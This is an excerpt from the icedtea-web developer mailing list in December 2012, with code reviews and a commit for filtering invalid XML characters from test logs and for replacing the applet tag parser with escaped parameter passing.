className + "." + testName + "\" >"); > - w.write(testLogs); > + w.write(clearChars(testLogs)); > w.write(""); > } > w.write(""); > @@ -215,4 +215,24 @@ > DEFAULT_STDLOGS_WRITER.newLine(); > DEFAULT_STDLOGS_WRITER.flush(); > } > + > + public static String clearChars(String ss) { > + StringBuilder s = new StringBuilder(ss); > + for (int i = 0; i < s.length(); i++) { > + char q = s.charAt(i); > + if (q == '\n') { > + continue; > + } > + int iq = (int) q; > + if (iq == 9) { > + continue; > + } > + if (iq <= 31 || iq > 65533) { > + s.setCharAt(i, 'I'); > + s.insert(i + 1, "NVALID_CHAR_" + iq); > + i -= 1; > + } > + } > + return s.toString(); > + } > } > diff -r eedc15145aa6 > tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java > --- a/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java > Mon Dec 03 14:43:18 2012 +0100 > +++ b/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java > Mon Dec 03 15:31:47 2012 +0100 > @@ -783,8 +783,27 @@ > //probablky it is necessary to get out of > net.sourceforge.jnlp. > //package where are right now all test-extensions > //for now keeping exactly the three clases helping yo > acces the log > - if > (!stack[i].getClassName().startsWith("net.sourceforge.jnlp.")) { > - break; > + try { > + Class clazz = Class.forName(stack[i].getClassName()); > + String path = null; > + try { > + path = > clazz.getProtectionDomain().getCodeSource().getLocation().getPath(); > + } catch (NullPointerException ex) { > + //silently ignoring and continuing with null path > + } > + if (path != null && path.contains("/tests.build/")) { > + if (!path.contains("/test-extensions/")) { > + break; > + } > + } else { > + //running from ide > + if > (!stack[i].getClassName().startsWith("net.sourceforge.jnlp.")) { > + break; > + } > + } > + } catch (ClassNotFoundException ex) { > + ///should not happen, laoding only loaded laoding->loading > + ex.printStackTrace(); > } > } > //if nothing left in stack then we have been in ServerAccess > already > @@ -793,7 +812,7 @@ > if (i >= stack.length) { > return result; > } > - //now we are out of net.sourceforge.jnlp.* > + //now we are out of test-extensions > //method we need (the test) is highest from following class > baseClass = stack[i].getClassName(); > for (; i < stack.length; i++) { OK for HEAD/1.3 if applicable. Happy hacking, -Adam From ptisnovs at redhat.com Mon Dec 3 07:06:00 2012 From: ptisnovs at redhat.com (Pavel Tisnovsky) Date: Mon, 3 Dec 2012 10:06:00 -0500 (EST) Subject: [rfc] [icedtea-web] cleaning XML logging from wrong character In-Reply-To: <50BCB8A8.5020204@redhat.com> Message-ID: <1420250267.3370074.1354547160400.JavaMail.root@redhat.com> Hi Jiri, I have some comments re: your patch, please look to the notes below: + + public static String clearChars(String ss) { + StringBuilder s = new StringBuilder(ss); + for (int i = 0; i < s.length(); i++) { + char q = s.charAt(i); + if (q == '\n') { + continue; + } + int iq = (int) q; + if (iq == 9) { *** 9 is a good old friendly :-) TAB character, so it should be simply tested as q == '\t' in the previous "if" clause + continue; + } + if (iq <= 31 || iq > 65533) { *** Well 31 value is understandable (you are afraid of '\0' especially, aren't you?), *** but I'm unsure about value 65533. Given that "char q" is an unsigned value in a range from 0 to 65535 and *** you are converting it to "int", do you still need to filter out the last two chars positions only? *** It is true that FFFE or FFFF positions can not be in Unicode, but the same applies to positions *** FDD0 to FDEF. + s.setCharAt(i, 'I'); + s.insert(i + 1, "NVALID_CHAR_" + iq); + i -= 1; *** i-- :-) + } + } + return s.toString(); + } *** Still I think it's not a good idea to use String.charAt() to read characters from a string because you will miss all surrogate pairs. char is 16 bit wide only and you AFAIK needs at least 21 bits to represent all Unicode characters. So this code will fail in case of some asian character sets, for example (and Tengwar too :) + try { + Class clazz = Class.forName(stack[i].getClassName()); + String path = null; + try { + path = clazz.getProtectionDomain().getCodeSource().getLocation().getPath(); + } catch (NullPointerException ex) { + //silently ignoring and continuing with null path *** you can't be sure where the NPE occurs, is not it better to print stack trace at least? + } + if (path != null && path.contains("/tests.build/")) { + if (!path.contains("/test-extensions/")) { + break; + } + } else { + //running from ide + if (!stack[i].getClassName().startsWith("net.sourceforge.jnlp.")) { + break; + } + } + } catch (ClassNotFoundException ex) { + ///should not happen, laoding only loaded *** sorry, can't understand this comment (laoding->loading, but what do you mean pls?) + ex.printStackTrace(); Cheers, Pavel ----- Original Message ----- > Epiphany is littel bit confuse dby JS<->applet tests and is returning > negative, zero or to high > retyped chars. > Those chars break xml processing, so I would like to get them out > from xml by this patch (kept in > plain text). > > Also I have realised I have broken unittest logging some tie ago. > Fixed also:( > > J. > From jvanek at redhat.com Mon Dec 3 08:00:41 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 03 Dec 2012 17:00:41 +0100 Subject: [rfc][icedtea-web] Remove need for HTML tag scanner in PluginAppletViewer In-Reply-To: <50B3CC0F.6010706@redhat.com> References: <50899C9E.8020204@redhat.com> <508A8C6D.6070100@redhat.com> <5090333B.7070507@redhat.com> <50A64A4A.9050405@redhat.com> <50B3CC0F.6010706@redhat.com> Message-ID: <50BCCCA9.5010506@redhat.com> On 11/26/2012 09:07 PM, Adam Domurad wrote: > On 11/16/2012 09:14 AM, Jiri Vanek wrote: >> On 10/30/2012 09:06 PM, Adam Domurad wrote: >> > On 10/26/2012 09:13 AM, Jiri Vanek wrote: >> >> On 10/25/2012 10:10 PM, Adam Domurad wrote: >> >>> Hi all. This is something I've wanted to do for a while, simply because of the hackish nature >> of the >> >>> applet/object/embed tag parsing code in ITW. Thoughts welcome, I'll still be doing some more >> testing >> >>> on this (looks good so far) but would appreciate feedback. The patch also makes it possible to do >> >>> unit tests from classes included in plugin.jar (used to unit test the new >> >>> sun.java.PluginAppletAttributes). >> >>> >> >>> The applet tag information flows like this pre-patch: >> >>> - NPAPI parses the tag information >> >>> - ITW's C++ side takes in the already-parsed tag information, creates an embed tag (embed tag >> only) >> >>> for ITW to use. >> >>> - ITW's java side receives the tag, and scans it using (less than desirable) parsing routines. >> >>> >> >>> Post-patch: >> >>> - NPAPI parses the tag information >> >>> - ITW's C++ side generates a simple listing of the name value pairs passed >> >>> - ITW's java side parses these name value pairs >> >> >> >> I like this patch. I found several issues which had come across my mind, but I think during >> other reviews there will come more of them. >> >> Also I'm not 100% capable to verify C code. SO before aprove I will definitely check with Pavel >> or somebody else can do this. I checked c part only from logical point of view. >> >>> >> >>> Points of contention: >> >>> - PluginAppletViewer#parse had a 'ydisp' variable that has been changed to a static variable, >> since >> >>> the parse method will now only ever handle one applet tag (the old version expected to have >> >>> potentially multiple). However I'm not 100% about this because the old version as well only ever >> >>> received one applet tag, rendering this effectively to always be 1... I'm not sure if the >> behaviour >> >>> should be 'fixed' this way. >> >> >> >> Your arguments seemed valid. And although PluginAppletViewer is singleton, making the ydisp >> variable static looks like it will behave differently. I would recommend empiric testing :)) See >> how multiple applets are shown on (multiple)page(s) and compare with your new implementation :) >> >>> >> >>> - The code was made to behave as-it-were as much as possible, meaning it can print a warning >> about a >> >>> "missing code attribute in the embed tag" no matter what tag was used. This is as it was >> because ITW >> >>> would always get passed an embed tag. Feel free to force me to change it:) >> >>> >> >>> ChangeLog: >> >>> 2012-10-25 Adam Domurad >> >>> >> >>> Remove the applet/embed/object tag parser from ITW. Send the applet >> >>> parameters directly from the C++. >> >>> * Makefile.am: Allow unit-testing for classes in plugin.jar. >> >>> * plugin/icedteanp/IcedTeaNPPlugin.cc: Send quoted parameter >> >>> name/values instead of applet tag. Remove some dead code. >> >>> * plugin/icedteanp/IcedTeaNPPlugin.h: Rename applet_tag -> >> >>> parameters_string. >> >>> * plugin/icedteanp/java/sun/applet/PluginAppletViewer.java: >> >>> Extract parsing code into its own class. >> >>> * plugin/icedteanp/java/sun/applet/PluginAppletAttributes.java: >> >>> New, encapsulates the (simplified) attribute parsing logic. >> >>> * tests/netx/unit/sun/applet/PluginAppletAttributesTest.java: >> >>> Unit tests for parsing logic. >> >>> >> >>> >> >>> nuke-parser.patch >> >>> >> >>> >> >>> diff --git a/Makefile.am b/Makefile.am >> >>> --- a/Makefile.am >> >>> +++ b/Makefile.am >> >>> @@ -882,7 +882,7 @@ stamps/netx-unit-tests-compile.stamp: st >> ... >> >>> >> >>> return encoded; >> >> >> >> This is probably strangest stuff in patch. NPAPI is returning already decoded strings. Why to >> encode them again?!?!?! >> >> >> >> Unless I see something very wrong, get rid of this unnecessary middle step! >> >> >> >>> } >> >>> >> ... >> >>> +import java.util.List; >> >>> + >> >>> +/** >> >>> + * Provides parsing for applet attributes passed from the C++ side as quoted, >> >>> + * encoded strings. This class is not meant to be initialized >> >> >> >> No author in ITW sources please:) >> >> >> >> Please, mke this class as classical object. You can still keep some static (or singleton) >> utility methods here, but prefer more object way: >> >> >> >> Hashtable atts = PluginAppletAttributes.getPArser().parse(width, height, tag); >> >> or >> >> Hashtable atts = new PluginAppletAttributes().parse(width, height, tag); >> >> >> >> Although I would like to recomand to wrap the Hashtable to Object. Eg >> ParsedAppletTag. so the above methods wirr return this one. >> >> One will thenbe able to access parsedAppletTag.getKey() and will be also able to recieve >> something else then Strings >> >> >> >> And again. Get rid of redundant decoding! >> >> >> >> >> >>> + * @author Adam Domurad >> >>> + */ >> >>> +class PluginAppletAttributes { >> >>> + /** >> >>> + * Decodes the string (converts html escapes into proper characters) >> >>> + * >> >>> + * @param toDecode The string to decode >> >>> + * @return The decoded string >> >>> + */ >> >>> + static String decodeString(String toDecode) { >> >>> + >> >>> + toDecode = toDecode.replace(">", ">"); >> >>> + toDecode = toDecode.replace("<", "<"); >> >>> + toDecode = toDecode.replace(" ", "\n"); >> >>> + toDecode = toDecode.replace(" ", "\r"); >> >>> + toDecode = toDecode.replace(""", "\""); >> >>> + toDecode = toDecode.replace("&", "&"); >> >>> + >> >>> + return toDecode; >> >>> + } >> >>> + >> >>> + static final boolean isInt(String s) { >> >>> + try { >> >>> + Integer.parseInt(s); >> >>> + return true; >> >>> + } catch (NumberFormatException e) { >> >>> + return false; >> >>> + } >> >>> + } >> >> >> >> :DDD no! :D Although this give sense, I would not recommand usage of exception for directing >> the flow of code :) >> >> My suggestion will be matches \d+ ;) >> >> I have also some susspiccion that there is ssDigit method somewhere. >> >> >> >>> + >> >>> + static List extractQuotedStrings(String s) { >> >>> + List strs = new ArrayList(); >> ... >> >>> + AppletMessageHandler amh = new AppletMessageHandler("appletviewer"); >> >>> + URL url = new URL(documentBase); >> >>> + URLConnection conn = url.openConnection(); >> >>> + /* The original URL may have been redirected - this >> >>> + * sets it to whatever URL/codebase we ended up getting >> >>> + */ >> >>> + url = conn.getURL(); >> >>> + >> >> >> >> I would like to see thios in different method. Also the ydisp remains questionable. Imho with >> yournew approach it will lead to complete removal of it (i'm really afraid of case like three >> applets per page, and several such a pages) >> >> >> >>> + Hashtable atts = PluginAppletAttributes.parse(width, height, tag); >> >>> + >> ... >> >>> + Hashtable atts; >> >>> + >> >>> + atts = PluginAppletAttributes.parse(width, height, codeKeyVal); >> >>> + assertEquals("1", atts.get("width")); >> >>> + assertEquals("1", atts.get("height")); >> >>> + >> >>> + //Test that width height are defaulted to in case of not-a-number attributes: >> >>> + atts = PluginAppletAttributes.parse(width, height, codeKeyVal + " \"width\" \"NAN\" >> \"height\" \"NAN\" "); >> >>> + assertEquals("1", atts.get("width")); >> >>> + assertEquals("1", atts.get("height")); >> >>> + } >> >>> + >> >>> + @Test >> >>> + public void testAttributeParseCodeAttribute() { >> >>> + final String width = "1", height = "1"; >> >>> + Hashtable atts; >> >>> + >> >>> + atts = PluginAppletAttributes.parse(width, height, "\"classid\" \"classidValue\" "); >> >>> + assertEquals("classidValue", atts.get("code")); >> >>> + >> >>> + atts = PluginAppletAttributes.parse(width, height, "\"code\" \"java:codeValue\" "); >> >>> + assertEquals("codeValue", atts.get("code")); >> >>> + >> >>> + atts = PluginAppletAttributes.parse(width, height, "\"classid\" \"clsid:classidValue\" "); >> >>> + assertEquals(null, atts); //NB: atts == null if theres no object or code attribute >> >>> + >> >>> + atts = PluginAppletAttributes.parse(width, height, "\"object\" \"objectValue\" "); >> >>> + assertEquals("objectValue", atts.get("object")); >> >>> + } >> >>> +} >> >> >> >> >> >> I do not want to be pedantic, but how deep is coverage of those? >> >> And probably tehre will come need to test possible new ParsedAppletTAg class. >> >>> >> >> >> >> Thanx for valuable patch! >> >> >> >> J. >> >> >> > >> > Thanks for the comments, I hope to have addressed them. Attached is iteration 2, let me know >> what you think of the direction it is going. >> > This patch introduces net.sourceforge.jnlp.PluginParameters as well as >> sun.applet.PluginParameterParser. I have removed the use of static method as suggested. >> > >> > The decoded was replaced by a simple escaping. >> > The wrapped PluginParameter's class was used where I thought was logical, please comment >> especially on the placement of this class where Hashtable was previously used. >> > >> > Thanks for the review & hints, >> > - Adam >> >>> nuke-parser2.patch >>> >>> >>> diff --git a/Makefile.am b/Makefile.am >>> --- a/Makefile.am >>> +++ b/Makefile.am >>> @@ -882,7 +882,7 @@ stamps/netx-unit-tests-compile.stamp: st >>> mkdir -p $(NETX_UNIT_TEST_DIR)&& \ >>> $(BOOT_DIR)/bin/javac $(IT_JAVACFLAGS) \ >>> -d $(NETX_UNIT_TEST_DIR) \ >>> - -classpath $(JUNIT_JAR):$(NETX_DIR)/lib/classes.jar:$(TEST_EXTENSIONS_DIR) \ >>> + -classpath >>> $(JUNIT_JAR):$(DESTDIR)$(datadir)/$(PACKAGE_NAME)/plugin.jar:$(NETX_DIR)/lib/classes.jar:$(TEST_EXTENSIONS_DIR) >>> \ >>> @netx-unit-tests-source-files.txt&& \ >>> mkdir -p stamps&& \ >>> touch $@ >>> @@ -912,7 +912,7 @@ stamps/run-netx-unit-tests.stamp: stamps >>> done ; \ >>> cd $(NETX_UNIT_TEST_DIR) ; \ >>> class_names=`cat $(UNIT_CLASS_NAMES)` ; \ >>> - CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):. \ >>> + >>> CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(DESTDIR)$(datadir)/$(PACKAGE_NAME)/plugin.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):. >>> \ >>> $(BOOT_DIR)/bin/java -Xbootclasspath:$(RUNTIME) CommandLine $$class_names >>> if WITH_XSLTPROC >>> $(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl >>> $(NETX_UNIT_TEST_DIR)/ServerAccess-logs.xml> $(TESTS_DIR)/logs_unit.html >>> diff --git a/netx-dist-tests-whitelist b/netx-dist-tests-whitelist >>> --- a/netx-dist-tests-whitelist >>> +++ b/netx-dist-tests-whitelist >>> @@ -1,1 +1,1 @@ >>> -.* >>> +AppletTakes.* >>> diff --git a/netx/net/sourceforge/jnlp/NetxPanel.java b/netx/net/sourceforge/jnlp/NetxPanel.java >>> --- a/netx/net/sourceforge/jnlp/NetxPanel.java >>> +++ b/netx/net/sourceforge/jnlp/NetxPanel.java >>> @@ -28,7 +28,6 @@ import net.sourceforge.jnlp.runtime.JNLP >>> >>> import java.net.URL; >>> import java.util.HashMap; >>> -import java.util.Hashtable; >>> import java.util.Map; >>> import java.util.concurrent.ConcurrentHashMap; >>> import java.util.concurrent.ConcurrentMap; >>> @@ -43,11 +42,11 @@ import sun.awt.SunToolkit; >>> * @author Francis Kung >>> */ >>> public class NetxPanel extends AppletViewerPanel { >>> - private PluginBridge bridge = null; >>> + private final PluginParameters parameters; >>> + private PluginBridge bridge; >>> private boolean exitOnFailure = true; >>> - private AppletInstance appInst = null; >>> + private AppletInstance appInst; >> >> Why remove of null? > > Dropped this change. On further consideration, the explicit null's do serve a purpose. > >> >>> private boolean appletAlive; >>> - private final String uKey; >>> >> ...looks ok... >>> for (String cacheJar : cacheJars) { >>> diff --git a/netx/net/sourceforge/jnlp/PluginParameters.java >>> b/netx/net/sourceforge/jnlp/PluginParameters.java >>> new file mode 100644 >>> --- /dev/null >>> +++ b/netx/net/sourceforge/jnlp/PluginParameters.java >>> @@ -0,0 +1,232 @@ >>> +/* PluginAppletAttributes -- Provides parsing for applet attributes >> ... >>> + >>> + /** >>> + * Creates the underlying hash table with the proper overrides. >>> + * Ensure all keys are lowercase consistently. >>> + * >>> + * @param params the properties, before parameter aliasing rules. >>> + * @return the resulting parameter table >>> + */ >> >> >> The only reasons why you are introducing your own hashmap (backed by classical one) instead of >> direct backing are handling of case and java_ prefix? >> Hmm.. sounds little bit fragile ;-/ > > Helper method introduced, but overall as it was. > >> >>> + static Hashtable createParameterTable(Map rawParams) { >>> + Hashtable params = new Hashtable(); >>> + >>> + for (Map.Entry entry : rawParams.entrySet()) { >>> + String key = entry.getKey().toLowerCase(); >>> + String value = entry.getValue(); >>> + params.put(key, value); >>> + } >>> + >>> + // If there is a classid and no code tag present, transform it to code tag >>> + if (params.get("code") == null&& params.get("classid") != null >> >> missing spaces before && ( " "&&" " ) all around. Please fix to java-style. > > Autoformatted the class. > >> >>> +&& !(params.get("classid")).startsWith("clsid:")) { >>> + params.put("code", params.get("classid")); >>> + } >>> + >>> + // remove java: from code tag >>> + if (params.get("code") != null&& (params.get("code")).startsWith("java:")) { >>> + params.put("code", (params.get("code")).substring(5)); >>> + } >>> + >>> + // java_* aliases override older names: >>> + //http://java.sun.com/j2se/1.4.2/docs/guide/plugin/developer_guide/using_tags.html#in-nav >>> + if (params.get("java_code") != null) { >>> + params.put("code", (params.get("java_code"))); >>> + } >>> + >>> + if (params.get("java_codebase") != null) { >>> + params.put("codebase", (params.get("java_codebase"))); >>> + } >>> + >>> + if (params.get("java_archive") != null) { >>> + params.put("archive", (params.get("java_archive"))); >>> + } >>> + >>> + if (params.get("java_object") != null) { >>> + params.put("object", (params.get("java_object"))); >>> + } >>> + >>> + if (params.get("java_type") != null) { >>> + params.put("type", (params.get("java_type"))); >>> + } >>> + return params; >>> + } >> >> >> Persoanlly I'm strongly against inner classes and exceptions. Especially against package-private >> inner classes. >> I would strongly recommend you to move this class to public, outer one, but do as you feel. > > You're strongly against inner classes, and strongly against exceptions? :) > Good point though, made public & outer. > >> >> Also I'm against localised exceptions, but Here I probably agree. >>> + >>> + static class PluginParameterException extends RuntimeException { >>> + public PluginParameterException(String detail) { >>> + super(detail); >>> + } >>> + } >>> + >>> + public String toString() { >>> + return parameters.toString(); >>> + } >>> +} >>> \ No newline at end of file >>> diff --git a/netx/net/sourceforge/jnlp/resources/Messages.properties >>> b/netx/net/sourceforge/jnlp/resources/Messages.properties >>> --- a/netx/net/sourceforge/jnlp/resources/Messages.properties >>> +++ b/netx/net/sourceforge/jnlp/resources/Messages.properties >>> @@ -141,6 +141,7 @@ BFileLoc=JNLP file location >>> BBadProp=Incorrect property format {0} (should be key=value) >>> BBadParam=Incorrect parameter format {0} (should be name=value) >>> BNoDir=Directory {0} does not exist. >> >> Isnt field little bit confusing? Attribute perhaps? > > Made field be attribute instead. > >>> +BNoCodeOrObjectApplet=Applet tag must specify a 'code' or 'object' field. >> >> In cz_CS it will be >> >> +BNoCodeOrObjectApplet=Zna?ka applet mus? m?t defnov?n k?d nebo objekt - atributy 'code' nebo >> 'object' chyb?. >> >> >>> RNoResource=Missing Resource: {0} >>> RShutdown=This exception to prevent shutdown of JVM, but the process has been terminated. >>> RExitTaken=Exit class already set and caller is not exit class. >> >> good :)) >> >> Maybe some explanation of : -> ; transformation is worthy >> >>> [.. snipped ..] >>> - String tag = message.substring(spaceLocation + 1); >>> + String paramString = message.substring(spaceLocation + 1); >>> >>> PluginDebug.debug("Handle = ", handle, "\n", >>> "Width = ", width, "\n", >>> "Height = ", height, "\n", >>> "DocumentBase = ", documentBase, "\n", >>> - "Tag = ", tag); >>> + "Params = ", paramString); >>> >>> - PluginAppletViewer.parse >>> - (identifier, handle, width, height, >>> - new StringReader(tag), >>> - new URL(documentBase)); >>> + PluginAppletPanelFactory factory = new PluginAppletPanelFactory(); >>> + AppletMessageHandler amh = new AppletMessageHandler("appletviewer"); >>> + URL url = new URL(documentBase); >>> + URLConnection conn = url.openConnection(); >>> + /* The original URL may have been redirected - this >>> + * sets it to whatever URL/codebase we ended up getting >>> + */ >>> + url = conn.getURL(); >>> + >>> + PluginParameters params = new PluginParameterParser().parse(width, height, >>> paramString); >>> + >>> + // Let user know we are starting up >>> + streamhandler.write("instance " + identifier + " status " + >>> amh.getMessage("status.start")); >>> + factory.createPanel(streamhandler, identifier, handle, url, params); >> >> This several lines scares em a bit if all current tesakses are pasing, then I'm just paranoic. >> Being you, I woulld not trust me and rerun once more times. > > All tests seem fine at my end. > >> >>> >>> long maxTimeToSleep = APPLET_TIMEOUT; >>> appletsLock.lock(); >>> @@ -695,10 +699,10 @@ public class PluginAppletViewer extends >>> // 0 => width, 1=> width_value, 2 => height, 3=> height_value >>> String[] dimMsg = message.split(" "); >>> >>> + final int width = Integer.parseInt(dimMsg[1]); >>> final int height = Integer.parseInt(dimMsg[3]); >>> - final int width = Integer.parseInt(dimMsg[1]); >> ^^ ?? >> >>> >>> - panel.updateSizeInAtts(height, width); >>> + panel.updateSizeInAtts(width, height); >> >> This is probably strongly unrelated. >> > [..snipped..] >> Except the minor stuff I'm ok with the chage. >> >> J. > > Thanks for the look over Jiri and Pavel. > > As Pavel suggested I added unit tests for the case where key/values are empty - and indeed they did > not work as intended. This has been fixed. > > I have addressed Jiri's comments, removing some style changes that probably should not have been > snuck in :). > > I have done additional testing on corner cases, and added C++ side unit tests. All tests seem to be > in order. > > Note that the old parsing code seemed to set x and y locations of applets, but that turned out to > not be the case. The ultimate destination of the x and y parameters was for the > PluginAppletPanelFactory.createPanel function, which oddly enough did not use them at all. The X and > Y fiddling has thus been dropped entirely, and it does not seem to have affected anything. > > Attached is the patch as well as some additional refactoring in a separate patch (which I can live > without, but could be nice). > > 2012-11-26 Adam Domurad > > Remove the applet/embed/object tag parser from ITW. Send the applet > parameters directly from the C++. > * Makefile.am: Allow unit-testing for classes in plugin.jar. > * netx/net/sourceforge/jnlp/NetxPanel.java: Use PluginParameters for > attribute lookup > * netx/net/sourceforge/jnlp/PluginBridge.java: Use PluginParameters > for attribute lookup > * netx/net/sourceforge/jnlp/resources/Messages.properties: Add message > for missing code/object attributes. > * netx/net/sourceforge/jnlp/resources/Messages_cs_CZ.properties: Same. > * plugin/icedteanp/IcedTeaNPPlugin.cc: Send escaped parameter > name/values instead of applet tag. Remove some dead code. > * plugin/icedteanp/IcedTeaNPPlugin.h: Rename applet_tag -> > parameters_string. > * plugin/icedteanp/java/sun/applet/PluginAppletViewer.java: Extract > parsing code into its own class. > * tests/cpp-unit-tests/IcedTeaPluginUtilsTest.cc: Use CHECK_EQUALS > instead of CHECK. > * tests/netx/unit/net/sourceforge/jnlp/PluginBridgeTest.java: Update > unit tests due to constructor changes. > * netx/net/sourceforge/jnlp/PluginParameterException.java: New, thrown > when code/object attributes are missing. > * netx/net/sourceforge/jnlp/PluginParameters.java: New, Hashtable > wrapper that handles plugin attribute/parameter lookups. > * plugin/icedteanp/java/sun/applet/PluginParameterParser.java: New, > creates PluginParameters from escaped name/values. > * tests/cpp-unit-tests/PluginParametersTest.cc: New, C++ Unit tests for > plugin parameter related functions > * tests/netx/unit/net/sourceforge/jnlp/PluginParametersTest.java: New, > unit tests for PluginParameters class. > * tests/netx/unit/sun/applet/PluginParameterParserTest.java: New, unit > tests for PluginParameterParser class. > > Refactoring patch 1, extract PluginAppletPanelFactory: > 2012-11-26 Adam Domurad > > * plugin/icedteanp/java/sun/applet/PluginAppletViewer.java: Extracted > PluginAppletPanelFactory. > * plugin/icedteanp/java/sun/applet/PluginAppletPanelFactory.java: Moved > into own file. > > Refactoring patch 2, new method PluginAppletViewer#handleInitializationMessage from handleMessage: > 2012-11-26 Adam Domurad > > * plugin/icedteanp/java/sun/applet/PluginAppletViewer.java > (handleInitializationMessage): New, extracts initialization logic > from PluginAppletViewer.handleMessage. > > Happy hacking, > -Adam Brm brm. I'm happy with it. Do you think you can just wait with push until today as-late as possible or to tomorrow morning? I would like to have one more test*round before it on my side. Thanx for removing the dust! J. From ptisnovs at redhat.com Mon Dec 3 09:04:53 2012 From: ptisnovs at redhat.com (Pavel Tisnovsky) Date: Mon, 3 Dec 2012 12:04:53 -0500 (EST) Subject: [rfc] [icedtea-web] cleaning XML logging from wrong character In-Reply-To: <50BCCB39.7090000@redhat.com> Message-ID: <198989862.3431790.1354554293105.JavaMail.root@redhat.com> Hi Jiri, it looks ok, thank you very much. And ... well ... OK for HEAD :-) Cheers, Pavel ----- Original Message ----- > On 12/03/2012 04:06 PM, Pavel Tisnovsky wrote: > > Hi Jiri, > > > > I have some comments re: your patch, please look to the notes > > below: > > ok then! > > > > > + > > + public static String clearChars(String ss) { > > + StringBuilder s = new StringBuilder(ss); > > + for (int i = 0; i < s.length(); i++) { > > + char q = s.charAt(i); > > + if (q == '\n') { > > + continue; > > + } > > + int iq = (int) q; > > + if (iq == 9) { > > > > *** 9 is a good old friendly :-) TAB character, so it should be > > simply tested as q == '\t' in the previous "if" clause > > Sure, fixed! > > > > + continue; > > + } > > + if (iq <= 31 || iq > 65533) { > > > > *** Well 31 value is understandable (you are afraid of '\0' > > especially, aren't you?), > > *** but I'm unsure about value 65533. Given that "char q" is an > > unsigned value in a range from 0 to 65535 and > > *** you are converting it to "int", do you still need to filter out > > the last two chars positions only? > > *** It is true that FFFE or FFFF positions can not be in Unicode, > > but the same applies to positions > > *** FDD0 to FDEF. > > Thanx for catch!, fixed. > > > > > + s.setCharAt(i, 'I'); > > + s.insert(i + 1, "NVALID_CHAR_" + iq); > > + i -= 1; > > > > *** i-- :-) > > as you wish O:) > > > > + } > > + } > > + return s.toString(); > > + } > > > > *** Still I think it's not a good idea to use String.charAt() to > > read characters from a string because > > you will miss all surrogate pairs. char is 16 bit wide only and you > > AFAIK needs at least 21 bits to represent > > all Unicode characters. So this code will fail in case of some > > asian character sets, for example (and Tengwar too :) > > :( Not much I can do here. I would ratehr to have it simple like > this... Are you ok? > > > > + try { > > + Class clazz = > > Class.forName(stack[i].getClassName()); > > + String path = null; > > + try { > > + path = > > clazz.getProtectionDomain().getCodeSource().getLocation().getPath(); > > + } catch (NullPointerException ex) { > > + //silently ignoring and continuing with null > > path > > > > *** you can't be sure where the NPE occurs, is not it better to > > print stack trace at least? > > nn, I'm pretty sure that it occurs on native methods which do not > hurt. > > > > > + } > > + if (path != null && > > path.contains("/tests.build/")) { > > + if (!path.contains("/test-extensions/")) { > > + break; > > + } > > + } else { > > + //running from ide > > + if > > (!stack[i].getClassName().startsWith("net.sourceforge.jnlp.")) { > > + break; > > + } > > + } > > + } catch (ClassNotFoundException ex) { > > + ///should not happen, laoding only loaded > > > > *** sorry, can't understand this comment (laoding->loading, but > > what do you mean pls?) > > Re-word-ed ... with hope to suit you better;) > > > > + ex.printStackTrace(); > > > > Cheers, > > Pavel > > > > > > > > ----- Original Message ----- > >> Epiphany is littel bit confuse dby JS<->applet tests and is > >> returning > >> negative, zero or to high > >> retyped chars. > >> Those chars break xml processing, so I would like to get them out > >> from xml by this patch (kept in > >> plain text). > >> > >> Also I have realised I have broken unittest logging some tie ago. > >> Fixed also:( > >> > >> J. > >> > > From jvanek at icedtea.classpath.org Mon Dec 3 09:08:36 2012 From: jvanek at icedtea.classpath.org (jvanek at icedtea.classpath.org) Date: Mon, 03 Dec 2012 17:08:36 +0000 Subject: /hg/icedtea-web: Fixed logging bottleneck Message-ID: changeset aff6fb36a9ab in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=aff6fb36a9ab author: Jiri Vanek date: Mon Dec 03 18:08:38 2012 +0100 Fixed logging bottleneck Xml logging is now filtering not-unicode characters. Logging have more propper test-method recognition diffstat: ChangeLog | 10 ++++ tests/test-extensions/net/sourceforge/jnlp/LoggingBottleneck.java | 22 ++++++++- tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java | 25 ++++++++- 3 files changed, 53 insertions(+), 4 deletions(-) diffs (96 lines): diff -r eedc15145aa6 -r aff6fb36a9ab ChangeLog --- a/ChangeLog Mon Dec 03 14:43:18 2012 +0100 +++ b/ChangeLog Mon Dec 03 18:08:38 2012 +0100 @@ -1,3 +1,13 @@ +2012-11-03 Jiri Vanek + + Fixed logging bottleneck + * tests/test-extensions/net/sourceforge/jnlp/LoggingBottleneck.java: + added and used function (clearChars) which filter characters going to xml + from invalid ones. + * tests/test-extensions/net/sourceforge/jnlp/ServerAccess: getting test + method id by (getTestMethod) now relay on physical way to the class as + the only real thing differing test class and framework class. + 2012-12-03 Pavel Tisnovsky * Makefile.am: Added new target for compiling softkiller. diff -r eedc15145aa6 -r aff6fb36a9ab tests/test-extensions/net/sourceforge/jnlp/LoggingBottleneck.java --- a/tests/test-extensions/net/sourceforge/jnlp/LoggingBottleneck.java Mon Dec 03 14:43:18 2012 +0100 +++ b/tests/test-extensions/net/sourceforge/jnlp/LoggingBottleneck.java Mon Dec 03 18:08:38 2012 +0100 @@ -117,7 +117,7 @@ String testName = testLog.getKey(); String testLogs = testLog.getValue().toString(); w.write("<" + TESTLOG_ELEMENT + " " + TESTMETHOD_ATTRIBUTE + "=\"" + testName + "\" " + FULLID_ATTRIBUTE + "=\"" + className + "." + testName + "\" >"); - w.write(testLogs); + w.write(clearChars(testLogs)); w.write(""); } w.write(""); @@ -215,4 +215,24 @@ DEFAULT_STDLOGS_WRITER.newLine(); DEFAULT_STDLOGS_WRITER.flush(); } + + public static String clearChars(String ss) { + StringBuilder s = new StringBuilder(ss); + for (int i = 0; i < s.length(); i++) { + char q = s.charAt(i); + if (q == '\n') { + continue; + } + if (q == '\t') { + continue; + } + int iq = (int) q; + if ((iq <= 31 || iq > 65533)||(iq >= 64976 && iq <= 65007)) { + s.setCharAt(i, 'I'); + s.insert(i + 1, "NVALID_CHAR_" + iq); + i--; + } + } + return s.toString(); + } 